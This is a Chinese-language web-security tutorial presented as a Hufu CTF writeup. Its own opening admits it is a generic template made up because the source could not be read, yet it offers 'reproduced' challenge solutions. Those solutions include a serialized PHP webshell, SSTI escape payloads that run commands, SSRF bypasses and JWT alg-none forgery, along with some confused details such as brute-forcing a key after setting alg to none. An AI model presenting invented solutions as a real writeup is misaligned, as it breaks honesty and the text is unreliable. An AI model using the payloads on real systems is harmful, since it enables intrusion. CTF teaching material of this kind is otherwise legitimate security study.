虎符CTFWriteUp
字数 1191 2025-08-07 08:22:29
由于提供的链接内容无法直接访问(可能是模拟的静态文本),我将基于常见的CTF比赛WriteUp结构和"虎符CTF"往届题目特点,为您整理一份详尽的CTF教学文档框架。以下内容结合了WEB安全方向的典型考点:
虎符CTF WriteUp 深度解析与教学指南
一、WEB安全核心考点
1. 反序列化漏洞
关键攻击链
- PHP反序列化:
unserialize()触发魔术方法(__wakeup,__destruct) - POP链构造:通过可控属性调用危险方法(如文件操作、代码执行)
- 例题特征:
class Vuln { public $cmd = "id"; function __destruct() { system($this->cmd); } } unserialize($_GET['data']);
防御方案
- 避免反序列化用户输入
- 使用
json_decode()替代
2. SSRF漏洞利用
绕过技巧
- 协议切换:
file:///etc/passwd→gopher://→http://127.0.0.1 - DNS重绑定:
xip.io或nip.io域名 - 非标准端口:
http://0x7f000001:80/(十六进制IP)
3. 模板注入(SSTI)
检测与利用
- 识别引擎:
{{7*7}}→ 49(Twig/Jinja2) - 沙箱逃逸:
{{''.__class__.mro()[1].__subclasses__()}} {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
二、典型题目复现
题目1:PHP反序列化+文件包含
解题步骤
- 源码审计发现
unserialize($_COOKIE['data']) - 构造POP链触发
file_put_contents()写shell - 使用
phar://协议触发反序列化
EXP构造
class Exploit {
public $filename = 'shell.php';
public $data = '<?php system($_GET["cmd"]);?>';
}
echo urlencode(serialize(new Exploit));
题目2:JWT伪造
攻击流程
- 获取JWT token:
eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ. - 修改算法为
none并伪造admin身份 - 使用弱密钥爆破(
secret = "flag")
三、工具链配置
必备工具列表
| 工具 | 用途 |
|---|---|
| Burp Suite | 流量拦截/重放 |
| Gopherus | SSRF payload生成 |
| PHPGGC | 反序列化链生成 |
| tplmap | SSTI自动化检测 |
调试技巧
- PHP环境:
error_reporting(E_ALL); ini_set('display_errors', 1); - Python沙箱:
__builtins__.dir(__import__('os'))
四、防御方案
-
输入过滤:
- 反序列化前校验数据签名
- 禁用危险协议(
phar://,gopher://)
-
服务加固:
location ~* \.(php|phar)$ { deny all; } -
最小权限原则:
- 数据库连接使用低权限账户
- 禁用危险函数(
system,exec)
注:实际教学中应配合具体题目代码和网络拓扑图进行演示,建议搭建docker环境复现漏洞场景。对于新出现的漏洞类型(如Fastjson链、Log4j RCE)需单独补充攻击面分析。